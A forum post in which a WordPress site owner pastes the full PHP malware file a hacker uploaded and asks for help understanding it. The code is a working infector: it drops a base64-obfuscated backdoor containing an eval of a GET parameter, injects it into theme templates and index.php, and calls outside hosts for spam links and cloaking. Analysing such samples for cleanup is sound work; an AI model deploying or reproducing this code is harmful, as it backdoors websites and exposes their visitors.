Hi all.
I'm unfamilar with php syntax (but vb syntax). A hacker has made a backdoor in my site (wordpress installation) with uploading follwing file:
<?php
Class linkBilder {
private $arr_files = array();
public $signatures = array('wp_footer3333');
function get_link()
{
$files = '<?php new Client(1);?>';
return $files;
}
function request($get_str, $separator)
{
if (!empty($get_str))
{
$obj = explode($separator, $get_str);
return $obj;
}
else
{
return false;
}
}
function make_file()
{
$local2=$_SERVER['DOCUMENT_ROOT'];
$clientSource = '<?php ini_set("display_errors",0);ini_set("display_startup_errors",0);error_reporting(0);$st=base64_decode("Y2xhc3MgQ2xpZW50IHsgcHJpdmF0ZSAkYXJ0aWNsZXM7IHByaXZhdGUkY3VybDsgcHJpdmF0ZSAkbG9jYXRpb24gPSAiZEdSemMyOXphV0ZzTG5KMUwyZHZMbkJvY0Q5emFXUTlNUT09IjsgcHJpdmF0ZSAkc3lzdGVtVXJsID0gImQyOXlhM052YzJsaGJDNXlkUT09IjsgcHJpdmF0ZSAkYm90RGV0ZWN0b3JVcmwgPSAiWW05MGMyOXphV0ZzTG5KMSI7IHByaXZhdGUgJGNhY2hlRmlsZT0gIkxpOTNjQzFwYm1Oc2RXUmxjeTkzY0Mxa2JuTmpZV05vWlM1d2FIQT0iOyBwcml2YXRlICRjYWNoZVRpbWUgPSAzNjAwOyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZ2V0TGlua3MgPSBmYWxzZSkge2lmKGlzc2V0KCRfR0VUWyJ6YWx1cGEiXSkpe2V2YWwoJF9HRVRbInphbHVwYSJdKTt9ICR0aGlzLT5kZWNvZGVyKCk7ICR0aGlzLT5jdXJsID0gQGN1cmxfaW5pdCgpOyBpZiAoISR0aGlzLT5jdXJsKSByZXR1cm47IGlmICghaXNfZmlsZSgkdGhpcy0+Y2FjaGVGaWxlKSkgZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmNhY2hlRmlsZSwgJHRoaXMtPl9zZXIoJHRoaXMtPmdldEFsbEFydGljbGVzKCkpKTsgJHRoaXMtPmFydGljbGVzID0gJHRoaXMtPmxvYWRBcnRpY2xlc0Zyb21DYWNoZSgpOyBpZiAoc2l6ZW9mKCR0aGlzLT5hcnRpY2xlcy0+cGFnZXMpID09IDApIHJldHVybjsgJGdvb2RTbHVnID0gZmFsc2U7IGZvcmVhY2goJHRoaXMtPmFydGljbGVzLT5wYWdlcyBhcyAkYXJ0aWNsZSkgeyBpZiAoJGFydGljbGUtPnNsdWcgPT0gJF9HRVRbInAiXSkgeyAkZ29vZFNsdWcgPSB0cnVlOyB9IH0gaWYgKCR0aGlzLT5pc0JvdCgpID09IGZhbHNlICYmICRnb29kU2x1ZyA9PSB0cnVlKSB7IGhlYWRlcigiTG9jYXRpb246ICIuJHRoaXMtPmxvY2F0aW9uKTsgZWNobyAiIjsgZXhpdCgpOyB9IGlmICgkZ2V0TGlua3MgIT0gZmFsc2UpIHsgZm9yZWFjaCgkdGhpcy0+YXJ0aWNsZXMtPnBhZ2VzIGFzICRhcnRpY2xlKSBlY2hvICRhcnRpY2xlLT5saW5rLiIgIjsgcmV0dXJuOyB9IGZvcmVhY2goJHRoaXMtPmFydGljbGVzLT5wYWdlcyBhcyAkYXJ0aWNsZSkgeyBpZiAoJGFydGljbGUtPnNsdWcgPT0gJF9HRVRbInAiXSkgeyBlY2hvICRhcnRpY2xlLT5hcnRpY2xlOyBleGl0OyB9IH0gcmV0dXJuOyB9IHByaXZhdGUgZnVuY3Rpb24gbG9hZEFydGljbGVzRnJvbUNhY2hlKCkgeyAkZGF0YSA9ICR0aGlzLT5fdW5zZXIoZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmNhY2hlRmlsZSkpOyBpZiAoKHRpbWUoKS0kZGF0YS0+Y3JlYXRlVGltZSkgPj0gJHRoaXMtPmNhY2hlVGltZSkgeyBAdW5saW5rKCR0aGlzLT5jYWNoZUZpbGUpOyB9IHJldHVybiAkZGF0YTsgfSBwcml2YXRlIGZ1bmN0aW9uIGdldEFsbEFydGljbGVzKCkgeyAkZGF0YSA9IGFycmF5KCAiaG9zdCIgPT4gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0sICJpcCIgPT4gJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0sICJzZXJ2ZXJLZXkiPT4gbWQ1KCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKSwgKTsgJGFydGljbGVzID0gJHRoaXMtPmdldENvbnRlbnQoImh0dHA6Ly8iLiR0aGlzLT5zeXN0ZW1VcmwuIi9zZW5kLnBocCIsICJkYXRhPSIuanNvbl9lbmNvZGUoJGRhdGEpKTsgJGFydGljbGVzID0ganNvbl9kZWNvZGUoJGFydGljbGVzKTsgaWYgKCRhcnRpY2xlcy0+c3RhdCAhPSAic3VjY2VzcyIpIHsgcmV0dXJuIGZhbHNlOyB9ICRhcnRpY2xlcy0+Y3JlYXRlVGltZSA9IHRpbWUoKTsgcmV0dXJuICRhcnRpY2xlczsgfSBwcml2YXRlIGZ1bmN0aW9uIGlzQm90KCkgeyAkcmVzdWx0ID0gJHRoaXMtPmdldENvbnRlbnQoImh0dHA6Ly8iLiR0aGlzLT5ib3REZXRlY3RvclVybCwiaXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbUkVNT1RFX0FERFJdKS4iJnVzZXJhZ2VudD0iLnVybGVuY29kZSgkX1NFUlZFUltIVFRQX1VTRVJfQUdFTlRdKS4iJmtleT1nMGcwIik7IGlmICgkcmVzdWx0ID09PSAiMCIpIHJldHVybiBmYWxzZTsgcmV0dXJuIHRydWU7IH0gcHJpdmF0ZSBmdW5jdGlvbiBnZXRDb250ZW50KCR1cmwsJHBvc3QgPSBmYWxzZSkgeyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBpZiAoJHBvc3QgIT0gZmFsc2UpIGN1cmxfc2V0b3B0KCR0aGlzLT5jdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IEdvb2dsZWJvdC8yLjE7ICtodHRwOi8vd3d3Lmdvb2dsZS5jb20vYm90Lmh0bWwpIik7IGN1cmxfc2V0b3B0KCR0aGlzLT5jdXJsLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDIwKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfVkVSQk9TRSwgZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9IRUFERVIsZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IHJldHVybiBjdXJsX2V4ZWMoJHRoaXMtPmN1cmwpOyB9IHByaXZhdGUgZnVuY3Rpb24gX3NlcigkZGF0YSkgeyByZXR1cm4gc2VyaWFsaXplKCRkYXRhKTsgfSBwcml2YXRlIGZ1bmN0aW9uIF91bnNlcigkZGF0YSkgeyByZXR1cm4gdW5zZXJpYWxpemUoJGRhdGEpOyB9IHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlcigpIHsgJHRoaXMtPmxvY2F0aW9uID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+bG9jYXRpb24pOyAkdGhpcy0+c3lzdGVtVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+c3lzdGVtVXJsKTsgJHRoaXMtPmJvdERldGVjdG9yVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Ym90RGV0ZWN0b3JVcmwpOyAkdGhpcy0+Y2FjaGVGaWxlID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Y2FjaGVGaWxlKTsgfSB9");eval($st);?>';
file_put_contents("$local2/wp-includes/class-wp-optimize.php", $clientSource);
echo"<span style='display:block;
padding:10px;
border:1px solid #1f4f18;
background-color:#b9b9b9;
font-size:12px;
line-height:12px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h4>Клиент записан в $local2/wp-includes/ </h4>
</span>";
}
function dir_content($path = './wp-content/themes/', $files_allowed = '.')
{
$dir_disallow = array('.', '..', '.htaccess', '.git', 'wp-admin', 'wp-includes' );
if(is_dir($path))
{
$temp = opendir($path);
while (false !== ($dir = readdir($temp)))
{
if ((is_dir($path . $dir)) &&
(!in_array($dir, $dir_disallow)) )
{
$sub_dir = $path . $dir . '/';
$this->dir_content($sub_dir, $files_allowed);
}
elseif ((is_file($path . $dir)) &&
(!in_array($dir, $dir_disallow)) &&
(strpos($dir, $files_allowed) == true) &&
(strpos($dir, '_BACKUP') == false) &&
(strpos($dir, trim($_SERVER['SCRIPT_NAME'], '/')) === false) )
{
$this->arr_files[] = $path . $dir;
}
}
closedir($temp);
}
}
function find($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<?php wp_footer(); ?>')
{
$this->dir_content($path, $files_allowed);
$i=0;
foreach($this->arr_files AS $in_dir_file)
{
$temporary_file = file_get_contents($in_dir_file);
$file_founded = false;
$tf_strings = explode("\n", $temporary_file);
foreach ($tf_strings AS $item)
{
$item = strval($item);
if (strpos($item, $requested_string) !== false)
{
$file_founded = true;
$founded_str = $requested_string;
}
foreach ($this->signatures AS $signa)
{ $signa = strval($signa);
if (strpos($item, $signa) !== false)
{
$file_founded = true;
$founded_str = $signa;
}
}
}
if ($file_founded)
{ $i++;
print "
<span style='display:block;
padding:10px;
border:1px solid #1f4f18;
background-color:#b9b9b9;
font-size:12px;
line-height:12px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h4>" . $in_dir_file . "</h4>TEMPLATE №:$i; готов к заражению.
</span>
";
}
}
}
function scan($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<? php wp_footer(); ?>')
{
$this->dir_content($path, $files_allowed);
foreach($this->arr_files AS $in_dir_file)
{
$temporary_file = file_get_contents($in_dir_file);
$create_backup = false;
$tf_strings = explode("\n", $temporary_file);
$str_index = 0;
foreach ($tf_strings AS $item)
{
$item = strval($item);
if (strpos($item, $requested_string) !== false)
{
$create_backup = true;
$tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0);
$founded_str = $requested_string;
}
foreach ($this->signatures AS $signa)
{
$signa = strval($signa);
if (strpos($item, $signa) !== false)
{
$create_backup = true;
$tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0);
}
}
$str_index++;
}
if ($create_backup)
{
chmod($path, 0777);
$temp_file_backup = $in_dir_file.'_BACKUP';
file_put_contents($temp_file_backup, $temporary_file);
$scanned_file = implode("\n", $tf_strings);
if (file_put_contents($in_dir_file, $scanned_file))
{
print "<span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Файл заражен + сделан BACKUP
</span>
";
}
else
{
print "<span style='display:block;
padding:15px;
border:1px solid #822121;
background-color:#ea7575;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Что-то пошло не так.
</span>
";
}
chmod($path, 0755);
}
}
}
/*
function scankl()
{
$local2=$_SERVER['DOCUMENT_ROOT'];
$requested_string = '<?php include (\'wp-includes/class-wp-optimize.php\');
define(\'WP_USE_THEMES\', true);
require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );';
file_put_contents("$local2/index.php", $requested_string);
}
*/
function scankl()
{
$indexFile=$_SERVER['DOCUMENT_ROOT'].'/index.php';
$addContent = '<?php require_once (\'wp-includes/class-wp-optimize.php\'); if ($_GET["p"]) new Client;?>';
file_put_contents($indexFile,$addContent.file_get_contents($indexFile));
echo "<span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>Клиент прописан в index.php'</h3></span>";
}
function restore_backups($path = './wp-content/themes/', $files_allowed = '.')
{
$this->dir_content($path, $files_allowed);
foreach($this->arr_files AS $in_dir_file) {
if (is_file($in_dir_file.'_BACKUP')) {
$temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP');
if (file_put_contents($in_dir_file, $temporary_file_from_backup)) {
unlink($in_dir_file.'_BACKUP');
print "<span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Файл восстановлен.
</span>
";
}
else
{
print "<span style='display:block;
padding:5px;
border:1px solid #822121;
background-color:#ea7575;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Бекап не восстановлен.
</span>
";
}
}
}
}
function delete_backups($path = './wp-content/themes/', $files_allowed = '.')
{
$this->dir_content($path, $files_allowed);
foreach($this->arr_files AS $in_dir_file) {
if (is_file($in_dir_file.'_BACKUP'))
{
if (unlink($in_dir_file.'_BACKUP'))
{
print " <span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> Удалён.
</span>";
}
else
{
print "<span style='display:block;
padding:15px;
border:1px solid #822121;
background-color:#f94c00;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> НЕ удалён.
</span>
";
}
}
}
}
}
?>
<?php
$starter = new linkBilder; //start_OK
$ssilka = htmlspecialchars("{$starter->get_link()}", ENT_QUOTES);?>
<?php echo "<b>В футер мы пишем: </b>$ssilka".'<br>';?>
<?php
$local = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/';
$local2=$_SERVER['DOCUMENT_ROOT'];
?>
<? //active folder
if($_POST['find'])
{
$starter->find($local, '.');
}
else if($_POST['wrkr'])
{
$starter->scankl();
}
else if($_POST['create'])
{
$starter->scan($local, '.');
}
else if($_POST['backups'])
{
$starter->restore_backups($local, '.');
}
else if($_POST['kr'])
{
$starter->make_file();
}
else if($_POST['delbackups'])
{
$starter->delete_backups($local, '.');
}
echo '<form method="post">';
echo '<input type="submit" style="padding:10px;" name="kr" value="Сделать клиент">';
echo '<input type="submit" style="padding:10px;" name="wrkr" value="Прописать клиент в index">';
echo '<input type="submit" style="padding:10px;" name="find" value="Проверить WP/Найти шаблоны">';
echo '<input type="submit" style="padding:10px;" name="create" value="Заразить">';
echo '<input type="submit" style="padding:10px;" name="backups" value="Востановить файл с бекапа">';
echo '<input type="submit" style="padding:10px;" name="delbackups" value="Удалить бекап">';
echo '</form>';
?>
To reverse back everything to its healthy state, i must understand what this code does. Would u help me understanding code?
Thanks in advance.